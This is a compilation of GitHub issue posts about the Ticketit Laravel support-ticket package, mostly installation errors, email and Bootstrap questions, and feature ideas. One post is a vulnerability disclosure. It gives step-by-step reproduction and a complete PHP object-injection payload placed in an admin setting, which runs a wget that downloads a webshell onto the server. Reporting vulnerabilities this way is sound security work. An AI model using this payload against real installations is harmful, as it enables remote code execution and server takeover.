Follow as doc https://github.com/thekordy/ticketit/wiki/How-to-install-Ticketit and the following errors appear :

[ Illuminate \ Database \ QueryException ] SLQSTATE [ 42S02 ] : Base table or view not found : 1146 Table ' ticket.migrations ' does not exist (SQL : select * from migrations )

[ PDOException ] SLQSTATE [ 42S02 ] : Base table or view not found : 1146 Table ' ticket.migrations ' does not exist

Note : I created a clean laravel the project 5.1 *.

Hello,

I followed the tutorial and this didn't worked for me. I needed to uncomment in TicketitServiceProvider.php line 112 & 116 the middleware => auth. After that I was able to migrate the database with the post request.

Changes where made in the database and I hoped it worked, but sadly not. Then I located to the /tickets page and Call to undefined function get() on line 5

Thanks for your time and sorry for my english.

Regards

hi, on domain/ticket-install laravel hit's a 500 error:

[2015-11-04 17:14:56] production.ERROR: exception 'Symfony\Component\Debug\Exception\FatalErrorException' with message 'Maximum execution time of 30 seconds exceeded' in /var/www/domain.xyz/vendor/symfony/console/Formatter/OutputFormatter.php:165

I have installed the packages successfully and everything runs smoothly but the only issue is that the tickets do not display. The counter bubble just increments to indicate number of tickets by the tickets cant be viewed. Whats the reason for this? And how can I alter the css so that some menu links appear?

I have tried to add: @yield('footer') but the problem is still there....when I type: http://localhost:8000/tickets/4 the ticket with all its details can be viewed. I am confused.

@fishmad @FusionDesign .. dears, I am going to work on the dashboard this week, to add some statistics and numbers, I am interested to know what do you think we should show in the dashboards.

We should not ask users at upgrades or fresh installs to do a lot of preparing their application in order to use Ticketit package.

In v0.2.0 we ask users to set up 2 non-default Laravel settings (users, emails), and to install 2 packages (collective forms, laravel datatables). I believe the less pre-requests we ask for the more attractive is the package.

About dependents packages, Composer made it easy for installing dependents packages with no need of user interaction, so the only other thing remains is registering the dependents packages service provider and that can be done via TicketitServiceProvider as follow:

/*
         * Register the service provider for the dependency.
         */
        $this->app->register('Collective\Html\HtmlServiceProvider');
        $this->app->register('yajra\Datatables\DatatablesServiceProvider');
        /*
         * Create aliases for the dependency.
         */
        $loader = \Illuminate\Foundation\AliasLoader::getInstance();
        $loader->alias('Form', 'Collective\Html\FormFacade');
        $loader->alias('Html', 'Collective\Html\FormFacade');
        $loader->alias('Datatables', 'yajra\Datatables\Datatables');

Have you considered implementing some markdown, bbcode or some other wysiwyg editor functionality?

It"s not important at all, just an idea for later when there's nothing with higher priority to do

buenas soy nuevo utilizando este framework y al intentar instalar el sistema TIcketit presento un problema con:

el sistema después de autentificarse me muestra este mensaje de error:

Ya he configurado las migraciones desde la carpeta ticketit\vendor\kordy\ticketit\src\Migrations, las dependencias, la configuración de autentificacion y la vista maestra, los he seguido con el paso a paso https://github.com/thekordy/ticketit.

pido su amable colaboración muchas gracias

I just installed the ticket system, but am getting an error immediately when accessing the tickets, saying:

DataTables warning: table id=DataTables_Table_0 - Invalid JSON response. For more information about this error, please see http://datatables.net/tn/1

Also (because I thought it might be just a warning), I tried to create a ticket, but it seems like I get a problem sending a mail, the message says:

ErrorException in dc81073f31b304a589fe02cb835417b554e048bd.php line 22:
Trying to get property of non-object (View: \vendor\kordy\ticketit\src\Views\emails\assigned.blade.php)

I completed the installation and everything seems to "look" okay, but I still get the error... BTW: It seems like the 2 tickets I tried to create where created, at least I can find two table entries in the table ticketit...

Some notes: I wasn’t able to get the email attachments going through the validator class, so its currently doing a regex check on the extension type rather than checking against the mime the way the uploaded attachments do.

I need some help getting the agent auto assignment working with newly created email tickets. I haven’t had time to get into the issue to make it work, so currently the “default_email_agent” needs to be an agent and not “auto”

It would probably be better if the “imap_password” setting was hashed like a password should be but thats beyond me at the moment.

Logged in as a normal user (non-admin, non-agent) and submit ticket and I got this error.

2/2 ErrorException in 52418f3aa5e34f54df0cd1049af96859 line 7: Trying to get property of non-object (View: C:\file\vendor\kordy\ticketit\src\Views\emails\assigned_notification.blade.php)

from below Line 7 is: 'status' => $ticket->status->name,

Hello,

I recently found it is possible to inject OS commands in the tickets-admin configuration. Steps to reproduce:

1. Log into TicketIt
2. Go to Settings -> Configuration
3. Go to "Initial" tab
4. Change bootstrap_version from 4 to 3
5. Go to "Other" tab, click Add New Setting
6. Put any value you want as the slug
7. Paste this payload into the "Default Value" and/or "My Value" values: a:2:{i:7;O:29:"Illuminate\Support\MessageBag":2:{S:11:"\00*\00messages";a:0:{}S:9:"\00*\00format";O:40:"Illuminate\Broadcasting\PendingBroadcast":2:{S:9:"\00*\00events";O:25:"Illuminate\Bus\Dispatcher":1:{S:16:"\00*\00queueResolver";a:2:{i:0;O:25:"Mockery\Loader\EvalLoader":0:{}i:1;S:4:"load";}}S:8:"\00*\00event";O:38:"Illuminate\Broadcasting\BroadcastEvent":1:{S:10:"connection";O:32:"Mockery\Generator\MockDefinition":2:{S:9:"\00*\00config";O:35:"Mockery\Generator\MockConfiguration":1:{S:7:"\00*\00name";S:7:"abcdefg";}S:7:"\00*\00code";S:104:"<?php system('wget https://raw.githubusercontent.com/drag0s/php-webshell/master/webshell.php'); exit; ?>";}}}}i:7;i:7;}
8. Click Submit
9. Go to the new setting
10. Click "Edit", now there is a webshell available at http://localhost:8000/webshell.php

Hello,

Need help to understand the configurations of the email in .env file i have configured do i need to configure in mail.php as the notifications are not going through i am getting the following message also if possible to let me know where i can see the logs of email so that i can understand where is the issue.

Mon Jun 28 07:07:14 2021] 127.0.0.1:40758 Accepted [Mon Jun 28 07:07:20 2021] 127.0.0.1:40758 Closed without sending a request; it was probably just an unused speculative preconnection [Mon Jun 28 07:07:20 2021] 127.0.0.1:40758 Closing

KR, Naveed.

Bootstrap 5 is underway and many new sites would be developing in bootstrap 5 as it offers more customizability and fluidity. Due to this, I have noticed that some functionality features of ticketit like the dropdown buttons and nav-tabs ect are now broken.

I am wondering if there is anyone working on a bootstrap 5 update / fork for ticketit.

Under installation steps. In point 3

Step 3.Check if App\User exists

If I navigate to this link it shows

`<?php

namespace App;

class User extends Models\User { //leave this empty }`

I have few questions

1. What to write inside the class?
2. If it is supposed to be empty then what is the point of creating it?
3. How to create a user?